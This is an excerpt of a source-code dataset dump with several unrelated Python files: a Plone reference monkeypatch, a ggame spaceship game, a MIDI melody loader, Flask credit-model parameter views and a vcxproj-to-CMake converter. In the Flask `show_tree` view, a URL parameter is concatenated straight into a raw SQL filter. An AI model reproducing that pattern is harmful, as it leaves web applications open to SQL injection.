getToolByName(self, 'reference_catalog')\n brains = tool.getReferences(self, relationship, targetObject=targetObject,\n objects=False)\n if brains:\n return [_optimizedGetObject(self, b.targetUID) for b in brains]\n return []\n\n\ndef getBRefs(self, relationship=None, targetObject=None):\n \"\"\"get all the back referenced objects for this object\"\"\"\n tool = getToolByName(self, 'reference_catalog')\n brains = tool.getBackReferences(self, relationship,\n targetObject=targetObject, objects=False)\n if brains:\n return [_optimizedGetObject(self, b.sourceUID) for b in brains]\n return []\n\n\ndef apply():\n from Products.Archetypes.ReferenceEngine import ReferenceCatalog as rc\n\n rc._old_getReferences = rc.getReferences\n rc.getReferences = getReferences\n rc._old_getBackReferences = rc.getBackReferences\n rc.getBackReferences = getBackReferences\n rc._optimizedReferences = _optimizedReferences\n rc._optimizedQuery = _optimizedQuery\n\n from Products.Archetypes.ReferenceEngine import Reference as rf\n\n rf._old_getTargetObject = rf.getTargetObject\n rf.getTargetObject = getTargetObject\n rf._old_getSourceObject = rf.getSourceObject\n rf.getSourceObject = getSourceObject\n rf._optimizedGetObject = _optimizedGetObject\n\n from Products.Archetypes.Referenceable import Referenceable as ra\n\n ra._old_getRefs = ra.getRefs\n ra.getRefs = getRefs\n ra.getReferences = getRefs\n ra._old_getBRefs = ra.getBRefs\n ra.getBRefs = getBRefs\n ra.getBackReferences = getBRefs\n","sub_path":"experimental/atrefspeedup/patches.py","file_name":"patches.py","file_ext":"py","file_size_in_byte":5142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"9032773","text":"from ggame import App, RectangleAsset, ImageAsset, SoundAsset, TextAsset\nfrom ggame import LineStyle, Color, Sprite, Sound, Frame\n\nSCREEN_WIDTH = 1420\nSCREEN_HEIGHT = 810\nblack=Color(0x000000, 1.0)\nblue = Color(0x0000ff, 1.0)\nedge=LineStyle(1,black)\nbackground_asset4=TextAsset(\"Game Over.\", align='center', style='200px Arial', width=2000 )\nbackground_asset5=TextAsset(\"Press 'Return' to restart.\", align='center', style='40px Arial', width=1000)\nbackground_asset6=TextAsset(\"Congrats, You Won\", align='center', style='200px Arial', width=1300 )\nbackground4=Sprite(background_asset4, (200,0))\nbackground5=Sprite(background_asset5, (600,600))\nbackground6=Sprite(background_asset6, (200,0))\nbackground_asset1=RectangleAsset(1220,650, edge, blue)\nbackground_asset2=ImageAsset(\"images/Green.png\",)\nbackground_asset3=RectangleAsset(1420,810,edge, black)\nbackground1=Sprite(background_asset1, (70,30))\nbackground2=Sprite(background_asset2, (0,0))\nbackground3=Sprite(background_asset3, (0,0))\ncastle_asset = ImageAsset(\"images/castleyeah.png\",)\nfactory_asset = ImageAsset(\"images/Factory.png\",)\nfactory=Sprite(factory_asset,(100,100))\nfactory.scale=.25\npotato_asset = ImageAsset(\"images/door.jpg\",)\ncastle= Sprite(castle_asset, (850,200))\ncastle.scale=.1\ncastle.fxcenter = castle.fycenter = 0.5\nclass FactoryFloor(Sprite):\n factoryflr= floor_asset=ImageAsset(\"images/stonefloor.jpg\",)\n def __init__(self, position):\n super().__init__(FactoryFloor.factoryflr, position)\n self.scale=.15\n self.fxcenter = self.fycenter = 0.5\ndoes=[]\nfor x in range (0,14):\n does.append(FactoryFloor((1200-x*76,600)))\nfor x in range (0,14):\n does.append(FactoryFloor((1200-x*76,524)))\nfor x in range (0,6):\n does.append(FactoryFloor((212,448-76*x)))\nfor x in range (0,6):\n does.append(FactoryFloor((288,448-76*x)))\nfor x in range (0,12):\n does.append(FactoryFloor((364+76*x,68)))\nfor x in range (0,12):\n does.append(FactoryFloor((364+76*x,144)))\nspaceship_asset = ImageAsset(\"images/four_spaceship_by_albertov_with_thrust.png\", \n Frame(227,0,292-227,125), 4, 'vertical')\nspaceship = Sprite(spaceship_asset, (200, 200))\nspaceship.fxcenter = spaceship.fycenter = 0.5\nspaceship.scale=.6\n\nclass Wall1(Sprite):\n asset= wall_asset=ImageAsset(\"images/wall.png\",)\n def __init__(self, position):\n super().__init__(Wall1.asset, position)\n self.scale=.3\n self.fxcenter = self.fycenter = 0.5\n \nclass Wall2(Sprite):\n asset= wall_asset=ImageAsset(\"images/wall.png\",)\n def __init__(self, position):\n super().__init__(Wall2.asset, position)\n self.scale=.3\n self.fxcenter = self.fycenter = 0.5\n self.rotation=(3.14159265358979/2)\n\nuno=[]\nfor x in range(0,14):\n uno.append(Wall1((112+x*88,672)))\nfor x in range(0,14):\n uno.append(Wall1((112+x*88, 30)))\nfor x in range(0,7):\n uno.append(Wall2((81,87+x*88)))\nfor x in range(0,7):\n uno.append(Wall2((1287,87+x*88)))\nprint(uno)\npotato= Sprite(potato_asset, (300,675))\npotato.scale=.05\npotato.fxcenter = potato.fycenter = 0.5\nchips_asset=ImageAsset(\"images/dipsiedoodles.png\",)\nchips=Sprite(chips_asset, (1150,100))\nchips.scale=.2\n# Movement\nsun_asset = ImageAsset(\"images/sun.png\",)\nsun=Sprite(sun_asset, (1150, 500))\n#sun.scale=.5\nsun.center=.5\nspaceship.dir = 3\nspaceship.bob=3\nspaceship.go = False\nspaceship.ygo= False\nspaceship.thrust = 0\nspaceship.thrustframe = 1\nbackground1.visible=True\nbackground2.visible=False\ncastle.visible=False\npotato.visible= True\nfactory.visible=False\nsun.visible=False\nbackground3.visible=False\nchips.visible=False\nwinning=False\nbackground4.visible=False\nbackground5.visible=False\nreset=False\nwon=False\nbackground6.visible=False\ndef tab(b):\n global reset\n if spaceship.visible==False:\n spaceship.visible=True\n reset=True\n print(\"working\")\n spaceship.x=400\n spaceship.y=300\ndef left(b):\n spaceship.dir=-4\ndef right(b):\n spaceship.dir=4\ndef up(b):\n spaceship.bob=-4\ndef down(b):\n spaceship.bob=4\ndef step():\n global reset\n global winning\n global won\n if reset==True:\n print('wub')\n background1.visible=True\n potato.visible=True\n for x in uno:\n x.visible=True\n background4.visible=False\n background5.visible=False\n background6.visible=False\n reset=False\n winning=False\n won=False\n print(\"oh god why\")\n if background1.visible==True and winning==True:\n spaceship.visible=False\n background6.visible=True\n background5.visible=True\n won=True\n if background1.visible==True:\n for x in does:\n if x.visible==True:\n x.visible=False\n if spaceship.visible==False:\n background2.visible=False\n background1.visible=False\n background3.visible=False\n background5.visible=True\n background4.visible=True\n if won==False:\n background4.visible=True\n else:\n background4.visible=False\n castle.visible=False\n potato.visible=False\n factory.visible=False\n sun.visible=False\n spaceship.x=1050\n spaceship.y=550\n chips.visible=False\n for x in uno:\n x.visible=False\n for x in does:\n x.visible=False\n if spaceship.collidingWith(chips) and chips.visible==True:\n sun.visible=True\n winning=True\n chips.visible=False\n if spaceship.collidingWith(sun) and sun.visible==True:\n background2.visible=True\n background3.visible=False\n castle.visible=True\n factory.visible=True\n sun.visible=False\n spaceship.x=100\n spaceship.y=300\n for x in does:\n x.visible=False\n if spaceship.collidingWith(factory) and castle.visible==True:\n background2.visible=False\n background1.visible=False\n background3.visible=True\n castle.visible=False\n potato.visible=False\n factory.visible=False\n sun.visible=False\n spaceship.x=1000\n spaceship.y=550\n chips.visible=True\n for x in uno:\n x.visible=False\n for x in does:\n x.visible=True\n if spaceship.collidingWith(castle) and castle.visible==True:\n background2.visible=False\n background1.visible=True\n castle.visible=False\n potato.visible=True\n spaceship.x=300\n spaceship.y=480\n factory.visible=False\n for x in uno:\n x.visible=True\n if spaceship.collidingWith(potato) and potato.visible==True:\n background2.visible=True\n background1.visible=False\n castle.visible =True\n potato.visible=False\n factory.visible=True\n spaceship.x=850\n spaceship.y=330\n for x in uno:\n x.visible=False\n reset=False\n if spaceship.go:\n spaceship.x += spaceship.dir\n if spaceship.x + spaceship.width > SCREEN_WIDTH:\n spaceship.x -= spaceship.dir\n if background3.visible==True: \n if spaceship.x<1300 and spaceship.x>400:\n if spaceship.y<800 and spaceship.y>400:\n spaceship.x+=spaceship.dir\n if spaceship.y<150 and spaceship.y:\n spaceship.x+=spaceship.dir\n if spaceship.y>150 and spaceship.y<520:\n spaceship.visible=False\n print(\"1\")\n if spaceship.x<320 and spaceship.x>250:\n if spaceship.y<800 and spaceship.y>30:\n spaceship.x+=spaceship.dir\n else:\n spaceship.visible=False\n print(\"2\")\n if spaceship.y<400 and spaceship.y>30:\n if spaceship.x<320 and spaceship.x>200:\n spaceship.x+=spaceship.dir\n if spaceship.x>320 and spaceship.x<200:\n spaceship.visible=False\n print(\"3\")\n if spaceship.x>1200:\n spaceship.visible=False\n print(\"4\")\n if spaceship.x<210:\n spaceship.visible=False\n print(\"5\")\n if spaceship.y>605:\n spaceship.visible=False\n print(\"6\")\n if spaceship.x +spaceship.width > 1280 and potato.visible==True:\n spaceship.x -= spaceship.dir\n if spaceship.x < 153 and potato.visible==True:\n spaceship.x -= spaceship.dir\n if spaceship.x < 60:\n spaceship.x -= spaceship.dir\n if spaceship.thrust == 1:\n spaceship.setImage(spaceship.thrustframe)\n spaceship.thrustframe += 1\n if spaceship.thrustframe == 4:\n spaceship.thrustframe = 1\n if spaceship.thrust == 0:\n spaceship.setImage(0)\n ystep()\n \ndef ystep():\n if spaceship.ygo:\n spaceship.y += spaceship.bob\n if spaceship.y +spaceship.height > SCREEN_HEIGHT+60:\n spaceship.y -= spaceship.bob\n spaceship.rotation=0\n if background3.visible==True: \n if spaceship.x<1300 and spaceship.x>400:\n if spaceship.y<605 and spaceship.y>520:\n spaceship.y+=spaceship.bob\n if spaceship.y>50 and spaceship.y<150:\n spaceship.y+=spaceship.bob\n if spaceship.y>150 and spaceship.y<520:\n spaceship.visible=False\n print(\"7\")\n if spaceship.x<320 and spaceship.x>180:\n if spaceship.y<800 and spaceship.y>30:\n spaceship.y+=spaceship.bob\n else:\n spaceship.visible=False\n print(\"8\")\n if spaceship.x>1200:\n spaceship.visible=False\n print(\"9\")\n if spaceship.x<210:\n spaceship.visible=False\n print(\"10\")\n if spaceship.y>605:\n spaceship.visible=False\n print(\"11\")\n if spaceship.y +spaceship.height > 722 and potato.visible==True:\n spaceship.y -= spaceship.bob\n if spaceship.y < 104 and potato.visible==True:\n spaceship.y-=spaceship.bob\n if spaceship.y < 60:\n spaceship.y -= spaceship.bob\n if spaceship.thrust == 1:\n spaceship.setImage(spaceship.thrustframe)\n spaceship.thrustframe += 1\n if spaceship.thrustframe == 4:\n spaceship.thrustframe = 1\n if spaceship.thrust == 0:\n spaceship.setImage(0)\n\ndef leftKey(event):\n spaceship.go = True\n spaceship.ygo= False\n spaceship.thrust = 1\n spaceship.rotation=(3.141592653589793238462643383/2)\n left(spaceship)\ndef leftUp(event):\n spaceship.go = False\n spaceship.ygo= False\n spaceship.thrust = 1\n left(spaceship)\n \n\ndef rightKey(event):\n spaceship.go = True\n spaceship.ygo=False\n spaceship.thrust = 1\n spaceship.rotation=(3.141592653589793238462643383*3)/2\n right(spaceship)\ndef rightUp(event):\n spaceship.go = False\n spaceship.ygo= False\n spaceship.thrust = 1\n right(spaceship)\n \n\ndef upKey(event):\n spaceship.ygo = True\n spaceship.go=False\n spaceship.thrust = 1\n spaceship.rotation=0\n up(spaceship)\ndef upUp(event):\n spaceship.go = False\n spaceship.ygo= False\n spaceship.thrust = 1\n up(spaceship)\n \n \ndef downKey (event):\n spaceship.ygo = True\n spaceship.go = False\n spaceship.thrust = 1\n spaceship.rotation=3.141592653589793238462643383\n down(spaceship)\ndef downUp(event):\n spaceship.go = False\n spaceship.ygo= False\n spaceship.thrust = 1\n down(spaceship)\n\ndef returnDown(event):\n tab(spaceship)\n\nmyapp = App(SCREEN_WIDTH, SCREEN_HEIGHT)\nmyapp.listenKeyEvent('keydown', 'a', leftKey)\nmyapp.listenKeyEvent('keyup', 'a', leftUp)\nmyapp.listenKeyEvent('keydown', 'd', rightKey)\nmyapp.listenKeyEvent('keyup', 'd', rightUp)\nmyapp.listenKeyEvent('keydown', 'w', upKey)\nmyapp.listenKeyEvent('keyup', 'w', upUp)\nmyapp.listenKeyEvent('keydown', 's', downKey)\nmyapp.listenKeyEvent('keyup', 's', downUp)\nmyapp.listenKeyEvent('keydown', 'tab', returnDown)\nmyapp.run(step)\n\n\n","sub_path":"WubAndaHalf.py","file_name":"WubAndaHalf.py","file_ext":"py","file_size_in_byte":12497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200585702","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom plot import printall, printmelody\nimport sklearn.metrics as me\nimport math\n\n\ndef get545():\n # k545 input\n k545 = np.array([[0, 0, 0, 0]])\n # print(k545)\n # Read in and grasp useful info\n with open('k545.csv', 'r', newline='') as f:\n reader = csv.reader(f, delimiter=',')\n for row in reader:\n nprow = np.asarray(row)\n if nprow[2] == ' Note_on_c':\n # or nprow[2] == ' Note_off_c':\n # print(nprow)\n useful_row = np.array(\n [[round((int(nprow[1]) - 1536) / 96), int(nprow[3]), int(nprow[4]), int(nprow[5])]])\n # print(useful_row)\n k545 = np.concatenate((k545, useful_row), axis=0)\n\n k545 = k545[1:]\n # print(k545)\n\n # Sort by time\n k545 = k545[k545[:, 0].argsort()]\n # print(k545)\n\n empty_roll = np.array([[0, 0, 0, 0, 0]])\n pianoroll_r = empty_roll # Five tracks for right hand\n pianoroll_l = empty_roll\n i = 0\n for j in range(2328):\n new_r_roll = np.copy(empty_roll)\n new_l_roll = np.copy(empty_roll)\n l_i = 0 # left hand index\n r_i = 0 # right hand index\n while i < len(k545) and k545[i][0] == j:\n if not k545[i][1]: # right hand\n new_r_roll[0][r_i] = k545[i][2]\n r_i += 1\n else: # left hand\n # print(i, l_i)\n new_l_roll[0][l_i] = k545[i][2]\n l_i += 1\n i += 1\n new_r_roll.sort()\n new_l_roll.sort()\n new_r_roll = np.fliplr(new_r_roll)\n new_l_roll = np.fliplr(new_l_roll)\n # print(j, new_roll)\n pianoroll_r = np.concatenate((pianoroll_r, new_r_roll), axis=0)\n pianoroll_l = np.concatenate((pianoroll_l, new_l_roll), axis=0)\n\n # Get clean data\n pianoroll_r = pianoroll_r[1:]\n pianoroll_l = pianoroll_l[1:]\n # print(pianoroll_r, pianoroll_l)\n # print(np.shape(pianoroll_r), np.shape(pianoroll_l))\n T, _ = np.shape(pianoroll_r) # Number of time steps\n\n T1 = 320 # plot time -- discrete\n # printall(pianoroll_r, pianoroll_l, T, T1)\n\n # Make it conti's\n for i in range(1, T):\n if (pianoroll_l[i] == empty_roll).all():\n pianoroll_l[i] = pianoroll_l[i - 1]\n if (pianoroll_r[i] == empty_roll).all():\n pianoroll_r[i] = pianoroll_r[i - 1]\n\n # print(pianoroll_l, pianoroll_r)\n\n # printall(pianoroll_r, pianoroll_l, T, T1)\n\n # Get melody\n M = pianoroll_r[:, 0]\n # printmelody(M)\n return M\n\n\ndef kfold545(K, N):\n \"\"\"K --- K fold cross validation; N --- Nth fold\"\"\"\n T = 2328\n t = int(T / K)\n M = get545()\n if N == 0:\n # first fold\n return M[t:], M[:t - 1]\n if N == K - 1:\n # last fold\n return M[:t * N - 1], M[t * N:]\n train = np.concatenate((M[:t * N - 1], M[t * (N + 1):]), axis=0)\n test = M[t * N: t * (N + 1) - 1]\n return train, test\n","sub_path":"k545.py","file_name":"k545.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465652726","text":"# coding:utf-8\r\nfrom RemoteCreditSystem import db,app\r\nfrom RemoteCreditSystem.config import logger\r\nimport RemoteCreditSystem.helpers as helpers\r\nimport datetime\r\nimport json\r\n\r\nfrom flask import Module, session, request, render_template, redirect, url_for, flash\r\nfrom flask.ext.login import current_user\r\n\r\nfrom RemoteCreditSystem.models import Rcs_Parameter_Tree\r\nfrom RemoteCreditSystem.models import Rcs_Parameter_Select\r\n\r\n\r\n# 模型参数管理(道德品质)\r\n@app.route('/parameter/model_ddpz', methods=['GET'])\r\ndef model_ddpz():\r\n return render_template(\"parameter/model_parameter_ddpz.html\")\r\n\r\n# 模型参数管理(生活状况)\r\n@app.route('/parameter/model_shzk', methods=['GET'])\r\ndef model_shzk():\r\n return render_template(\"parameter/model_parameter_shzk.html\")\r\n\r\n# 模型参数管理(经营状况)\r\n@app.route('/parameter/model_jyzk', methods=['GET'])\r\ndef model_jyzk():\r\n return render_template(\"parameter/model_parameter_jyzk.html\")\r\n\r\n#左侧加载树\r\n@app.route('/parameter/show_tree/', methods=['POST'])\r\ndef show_tree(param_type):\r\n\torgs = Rcs_Parameter_Tree.query.filter(\"param_type='\"+param_type+\"' and pid is null\").order_by(\"id\").all()\r\n\torgs_list = []\r\n\torgs_list+=orgs\r\n\tif orgs:\r\n\t\tfor obj in orgs:\r\n\t\t sql = \"FIND_IN_SET(id ,getParamList('\"+str(obj.id)+\"')) and create_user=\"+str(current_user.id)\r\n\t\t orgs_list += Rcs_Parameter_Tree.query.filter(sql).order_by(\"id\").all()\r\n\torgs_list = list(set(orgs_list))\r\n\tfor obj in orgs_list:\r\n\t\tobj.open = 1\r\n\torgs_json = helpers.show_result_content(list(set(orgs_list)))\r\n\torgs_json_obj = json.loads(orgs_json)\r\n\treturn json.dumps(orgs_json_obj)# 返回json\r\n\r\n#右边显示列表\r\n@app.route('/parameter/show_row/', methods=['GET'])\r\ndef get_project_docs(p_id):\r\n\tselect = Rcs_Parameter_Select.query.filter_by(tree_id=p_id).order_by(\"id\").all()\r\n\tif select:\r\n\t\tfor obj in select:\r\n\t\t\tobj.style = 2\r\n\t\treturn helpers.show_result_content(select) # 返回json\r\n\tparam = Rcs_Parameter_Tree.query.filter_by(pId=p_id,create_user=current_user.id).order_by(\"id\").all()\r\n\tfor obj in param:\r\n\t\tobj.style = 1\r\n\treturn helpers.show_result_content(param) # 返回json\r\n\r\n#新增模型项页面\r\n@app.route('/parameter/add_tree/', methods=['GET'])\r\ndef add_tree(p_id):\r\n\r\n\treturn render_template(\"parameter/model_tree_add.html\",p_id=p_id)\r\n\r\n#新增模型项页面save\r\n@app.route('/parameter/add_tree_save/', methods=['POST'])\r\ndef add_tree_save(p_id):\r\n\r\n\ttry:\r\n\t\tname = request.form[\"name\"]\r\n\t\tweight = request.form[\"weight\"]\r\n\t\ttree = Rcs_Parameter_Tree.query.filter_by(id=p_id).first()\r\n\t\tRcs_Parameter_Tree(tree.param_type,name,p_id,weight,int(tree.level_type)+1).add()\r\n\t\tdb.session.commit()\r\n\t\t# 消息闪现\r\n\t\tflash('保存成功','success')\r\n\texcept:\r\n\t # 回滚\r\n\t db.session.rollback()\r\n\t logger.exception('exception')\r\n\t # 消息闪现\r\n\t flash('保存失败','error')\r\n\r\n\treturn redirect(\"/parameter/model_\"+tree.param_type)\r\n\r\n#修改模型项页面\r\n@app.route('/parameter/edit_tree/', methods=['GET'])\r\ndef edit_tree(p_id):\r\n\ttree = Rcs_Parameter_Tree.query.filter_by(id=p_id).first()\r\n\treturn render_template(\"parameter/model_tree_edit.html\",tree=tree)\r\n\r\n#修改模型项页面save\r\n@app.route('/parameter/edit_tree_save/', methods=['POST'])\r\ndef edit_tree_save(p_id):\r\n\ttry:\r\n\t\tname = request.form[\"name\"]\r\n\t\tweight = request.form[\"weight\"]\r\n\t\ttree = Rcs_Parameter_Tree.query.filter_by(id=p_id).first()\r\n\t\ttree.name = name\r\n\t\ttree.weight = weight\r\n\t\tdb.session.commit()\r\n\t\t# 消息闪现\r\n\t\tflash('保存成功','success')\r\n\texcept:\r\n\t # 回滚\r\n\t db.session.rollback()\r\n\t logger.exception('exception')\r\n\t # 消息闪现\r\n\t flash('保存失败','error')\r\n\treturn redirect(\"/parameter/model_\"+tree.param_type)\r\n\r\n#新增模型值页面\r\n@app.route('/parameter/add_select/', methods=['GET'])\r\ndef add_select(p_id):\r\n\r\n\treturn render_template(\"parameter/model_select_add.html\",p_id=p_id)\r\n\r\n#新增模型值页面save\r\n@app.route('/parameter/add_select_save/', methods=['POST'])\r\ndef add_select_save(p_id):\r\n\ttry:\r\n\t\ttree = Rcs_Parameter_Tree.query.filter_by(id=p_id).first()\r\n\t\tname = request.form[\"name\"]\r\n\t\tscore = request.form[\"score\"]\r\n\t\tRcs_Parameter_Select(p_id,name,score).add()\r\n\t\tdb.session.commit()\r\n\t\t# 消息闪现\r\n\t\tflash('保存成功','success')\r\n\texcept:\r\n\t # 回滚\r\n\t db.session.rollback()\r\n\t logger.exception('exception')\r\n\t # 消息闪现\r\n\t flash('保存失败','error')\r\n\treturn redirect(\"/parameter/model_\"+tree.param_type)\r\n\r\n#修改模型值页面\r\n@app.route('/parameter/edit_select/', methods=['GET'])\r\ndef edit_select(p_id):\r\n\tselect = Rcs_Parameter_Select.query.filter_by(id=p_id).first()\r\n\treturn render_template(\"parameter/model_select_edit.html\",select=select)\r\n\r\n#修改模型值页面save\r\n@app.route('/parameter/edit_select_save/', methods=['POST'])\r\ndef edit_select_save(p_id):\r\n\t\r\n\tname = request.form[\"name\"]\r\n\tscore = request.form[\"score\"]\r\n\tselect = Rcs_Parameter_Select.query.filter_by(id=p_id).first()\r\n\tselect.name = name\r\n\tselect.score = score\r\n\ttree = Rcs_Parameter_Tree.query.filter_by(id=select.tree_id).first()\r\n\ttry:\r\n\t\tdb.session.commit()\r\n\t\t# 消息闪现\r\n\t\tflash('保存成功','success')\r\n\texcept:\r\n\t # 回滚\r\n\t db.session.rollback()\r\n\t logger.exception('exception')\r\n\t # 消息闪现\r\n\t flash('保存失败','error')\r\n\treturn redirect(\"/parameter/model_\"+tree.param_type)\r\n\r\n#判断是否存在子节点\r\n@app.route('/parameter/autoChild/', methods=['GET'])\r\ndef autoChild(p_id):\r\n\ttree = Rcs_Parameter_Tree.query.filter_by(pId=p_id).all()\r\n\tif tree:\r\n\t\treturn \"false\"\r\n\telse:\r\n\t\ttry:\r\n\t\t\tRcs_Parameter_Tree.query.filter_by(id=p_id).delete()\r\n\t\t\tdb.session.commit()\r\n\t\t\t# 消息闪现\r\n\t\t\tflash('保存成功','success')\r\n\t\texcept:\r\n\t\t # 回滚\r\n\t\t db.session.rollback()\r\n\t\t logger.exception('exception')\r\n\t\t # 消息闪现\r\n\t\t flash('保存失败','error')\r\n\t\treturn \"true\"\r\n","sub_path":"RemoteCreditSystem/views/parameter/rcs_parameter - 多用户_废弃.py","file_name":"rcs_parameter - 多用户_废弃.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"536638250","text":"# -*- coding: utf-8 -*-\n\nimport message as msg\n\nclass ProjectVariables(object):\n \"\"\"\n ProjectVariables : defines all the variables to be used by the project\n \"\"\"\n out_deb_x86 = None\n out_deb_x64 = None\n out_rel_x86 = None\n out_rel_x64 = None\n out_deb = False\n out_rel = False\n\n def __init__(self, data):\n self.cmake = data['cmake']\n self.tree = data['vcxproj']['tree']\n self.ns = data['vcxproj']['ns']\n self.output = data['cmake_output']\n\n def define_variable(self):\n \"\"\"\n Variable : define main variables in CMakeLists.\n \"\"\"\n ProjectVariables.out_deb_x86 = self.tree.find(\n '//ns:PropertyGroup[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Debug|Win32\\'\"]/ns:OutDir',\n namespaces=self.ns)\n if ProjectVariables.out_deb_x86 is None:\n ProjectVariables.out_deb_x86 = self.tree.find(\n '//ns:PropertyGroup/ns:OutDir[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Debug|Win32\\'\"]',\n namespaces=self.ns)\n ProjectVariables.out_deb_x64 = self.tree.find(\n '//ns:PropertyGroup[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Debug|x64\\'\"]/ns:OutDir',\n namespaces=self.ns)\n if ProjectVariables.out_deb_x64 is None:\n ProjectVariables.out_deb_x64 = self.tree.find(\n '//ns:PropertyGroup/ns:OutDir[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Debug|x64\\'\"]',\n namespaces=self.ns)\n ProjectVariables.out_rel_x86 = self.tree.find(\n '//ns:PropertyGroup[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Release|Win32\\'\"]/ns:OutDir',\n namespaces=self.ns)\n if ProjectVariables.out_rel_x86 is None:\n ProjectVariables.out_rel_x86 = self.tree.find(\n '//ns:PropertyGroup/ns:OutDir[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Release|Win32\\'\"]',\n namespaces=self.ns)\n ProjectVariables.out_rel_x64 = self.tree.find(\n '//ns:PropertyGroup[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Release|x64\\'\"]/ns:OutDir',\n namespaces=self.ns)\n if ProjectVariables.out_rel_x64 is None:\n ProjectVariables.out_rel_x64 = self.tree.find(\n '//ns:PropertyGroup/ns:OutDir[@Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'Release|x64\\'\"]',\n namespaces=self.ns)\n\n # CMake Minimum required.\n self.cmake.write('cmake_minimum_required(VERSION 3.0.0 FATAL_ERROR)\\n\\n')\n\n # Project Name\n projectname = self.tree.xpath('//ns:RootNamespace', namespaces=self.ns)[0]\n self.cmake.write('################### Variables. ####################\\n'\n '# Change if you want modify path or other values. #\\n'\n '###################################################\\n\\n')\n self.cmake.write('set(PROJECT_NAME ' + projectname.text + ')\\n')\n\n # Output DIR of artefacts\n self.cmake.write('# Output Variables\\n')\n output_deb_x86 = ''\n output_deb_x64 = ''\n output_rel_x86 = ''\n output_rel_x64 = ''\n if self.output is None:\n if ProjectVariables.out_deb_x86 is not None:\n output_deb_x86 = ProjectVariables.out_deb_x86.text.replace('$(ProjectDir)', '').replace('\\\\', '/')\n if ProjectVariables.out_deb_x64 is not None:\n output_deb_x64 = ProjectVariables.out_deb_x64.text.replace('$(ProjectDir)', '').replace('\\\\', '/')\n if ProjectVariables.out_rel_x86 is not None:\n output_rel_x86 = ProjectVariables.out_rel_x86.text.replace('$(ProjectDir)', '').replace('\\\\', '/')\n if ProjectVariables.out_rel_x64 is not None:\n output_rel_x64 = ProjectVariables.out_rel_x64.text.replace('$(ProjectDir)', '').replace('\\\\', '/')\n elif self.output:\n if self.output[-1:] == '/' or self.output[-1:] == '\\\\':\n build_type = '${CMAKE_BUILD_TYPE}'\n else:\n build_type = '/${CMAKE_BUILD_TYPE}'\n output_deb_x86 = self.output + build_type\n output_deb_x64 = self.output + build_type\n output_rel_x86 = self.output + build_type\n output_rel_x64 = self.output + build_type\n else:\n output_deb_x86 = ''\n output_deb_x64 = ''\n output_rel_x86 = ''\n output_rel_x64 = ''\n\n if output_deb_x64 != '':\n msg.send('Output Debug = ' + output_deb_x64, 'ok')\n self.cmake.write('set(OUTPUT_DEBUG ' + output_deb_x64 + ')\\n')\n ProjectVariables.out_deb = True\n elif output_deb_x86 != '':\n msg.send('Output Debug = ' + output_deb_x86, 'ok')\n self.cmake.write('set(OUTPUT_DEBUG ' + output_deb_x86 + ')\\n')\n ProjectVariables.out_deb = True\n else:\n msg.send('No Output Debug define.', '')\n\n if output_rel_x64 != '':\n msg.send('Output Release = ' + output_rel_x64, 'ok')\n self.cmake.write('set(OUTPUT_REL ' + output_rel_x64 + ')\\n')\n ProjectVariables.out_rel = True\n elif output_rel_x86 != '':\n msg.send('Output Release = ' + output_rel_x86, 'ok')\n self.cmake.write('set(OUTPUT_REL ' + output_rel_x86 + ')\\n')\n ProjectVariables.out_rel = True\n else:\n msg.send('No Output Release define.', '')\n\n def define_project(self):\n \"\"\"\n Define Cmake Project\n \"\"\"\n # Project Definition\n self.cmake.write('\\n')\n self.cmake.write('############## Define Project. ###############\\n'\n '# ---- This the main options of project ---- #\\n'\n '##############################################\\n\\n')\n self.cmake.write('project(${PROJECT_NAME} CXX)\\n\\n')\n\n def define_target(self):\n \"\"\"\n Define target release if not define.\n \"\"\"\n self.cmake.write('# Define Release by default.\\n'\n 'if(NOT CMAKE_BUILD_TYPE)\\n'\n ' set(CMAKE_BUILD_TYPE \"Release\")\\n'\n ' message(STATUS \"Build type not specified: defaulting to release.\")\\n'\n 'endif(NOT CMAKE_BUILD_TYPE)\\n\\n')\n\n def write_output(self):\n \"\"\"\n Set output for each target\n \"\"\"\n if ProjectVariables.out_deb or ProjectVariables.out_rel:\n self.cmake.write('############## Artefacts Output #################\\n')\n self.cmake.write('# Defines outputs , depending Debug or Release. #\\n')\n self.cmake.write('#################################################\\n\\n')\n if ProjectVariables.out_deb:\n self.cmake.write('if(CMAKE_BUILD_TYPE STREQUAL \"Debug\")\\n')\n self.cmake.write(' set(CMAKE_LIBRARY_OUTPUT_DIRECTORY \"${CMAKE_BINARY_DIR}/${OUTPUT_DEBUG}\")\\n')\n self.cmake.write(' set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY \"${CMAKE_BINARY_DIR}/${OUTPUT_DEBUG}\")\\n')\n self.cmake.write(' set(CMAKE_EXECUTABLE_OUTPUT_DIRECTORY \"${CMAKE_BINARY_DIR}/${OUTPUT_DEBUG}\")\\n')\n if ProjectVariables.out_rel:\n self.cmake.write('else()\\n')\n self.cmake.write(' set(CMAKE_LIBRARY_OUTPUT_DIRECTORY \"${CMAKE_BINARY_DIR}/${OUTPUT_REL}\")\\n')\n self.cmake.write(' set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY \"${CMAKE_BINARY_DIR}/${OUTPUT_REL}\")\\n')\n self.cmake.write(' set(CMAKE_EXECUTABLE_OUTPUT_DIRECTORY \"${CMAKE_BINARY_DIR}/${OUTPUT_REL}\")\\n')\n self.cmake.write('endif()\\n\\n')\n else:\n msg.send('No Output found or define. CMake will use default ouputs.', 'warn')\n","sub_path":"projectvariables.py","file_name":"projectvariables.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"418648397","text":"from qiskit import 